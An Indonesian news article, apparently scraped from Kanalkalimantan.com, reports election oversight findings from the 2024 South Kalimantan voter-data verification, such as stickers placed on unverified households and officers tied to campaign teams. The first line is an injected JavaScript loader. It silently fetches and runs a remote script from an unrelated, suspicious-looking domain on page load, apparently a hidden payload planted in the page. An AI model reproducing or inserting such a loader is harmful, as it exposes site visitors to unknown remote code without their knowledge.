(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tahapan Pencocokan dan Penelitian (Coklit) Pemilihan Kepala Daerah (Pikada) serentak 2024 telah selesai. Selama sebulan, Petugas Pemutakhiran Data Pemilih (Pantarlih) ke rumah-rumah menemui pemilih yang termasuk dalam Daftar Pemilih Sementara (DPS).
Meski secara umum proses coklit di Kalimantan Selatan (Kalsel) berjalan lancar, namun terdapat catatan temuan dari pengawasan yang dilakukan jajaran Badan Pengawas Pemilihan Umum (Bawaslu).
Berdasarkan data yang dirilis Bawaslu Kalsel Minggu (29/7/2024) tentang pengawasan hasil pencocokan dan penelitian di Provinsi Kalsel, Bawaslu menemukan masih ada kepala keluarga yang belum dicoklit tetapi ditempel stiker tanda selesai coklit. Temuan Bawaslu Kalsel jumlahnya 9 keluarga, di Kabupaten Kotabaru 7 dan 2 sisa di Tabalong.
Baca juga:Â Bermalam di IKN, Jokowi Mengaku Tak Tidur Nyenyak
Kemudian, ada keluarga yang sudah dicoklit tetapi tidak ditempel stiker, jumlahnya pun cukup banyak yaitu 55 kepala keluarga. Sebarannya, Hulu Sungai Utara 13 kepala keluarga, Banjarbaru 11, Tabalong 11, Hulu Sungai Selatan 8, Kotabaru 7, Tanah Laut 4, dan 1 kepala keluarga di Balangan.
Pantarlih yang melimpahkan tugas mencoklit kepada orang lain ada 6 orang di Kotabaru, dan Pantarlih yang tidak mencoklit secara langsung ada 1 orang di Balangan.
Masih dari laporan Bawaslu Kalsel, di lapangan juga menemukan Pantarlih atau petugas coklit yang terbukti sebagai anggota pengurus parpol tim kampanye tim pemenangan Pemilu. Ditemukan ada 14 orang Pantarlih, di Kotabaru 13 orang dan Hulu Sungai Selatan 1 orang.
Baca juga:Â Peserta Sekolah Gratis Bekam Jalani Magang di Pondok Herba
Temuan lain Bawaslu Kalsel selama proses pengawasan Coklit tersebut dibenarkan oleh Anggota Bawaslu Kalsel Thessa Aji Budioni.
Bawaslu Kalsel beserta jajaran di daerah telah melayangkan berupa imbauan, saran perbaikan, maupun rekomendasi kepada KPU maupun penyelenggara di tingkat ad hoc selama proses berlangsung coklit maupun terhadap temuan tersebut.
“Sudah disampaikan saran perbaikan oleh Bawaslu Kabupaten Kota setempat,” kata Thessa, Senin (29/7/2024) siang.
Baca juga:Â Pengawasan Partisipatif Masyarakat Pilkada 2024, Mata dan Telinga Laporkan Dugaan Pelanggaran
Sekadar diketahui, proses coklit Pilkada 2024 berlangsung selama satu bulan sejak tanggal 24 Juni sampai 24 Juli 2024.
Di Kalsel, Pantarlih yang berjumlah 11.455 orang bertugas mendata pemilih rumah ke rumah yang tersebar di 2.016 kelurahan desa pada 156 kecamatan, 13 kabupaten kota se Kalsel. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.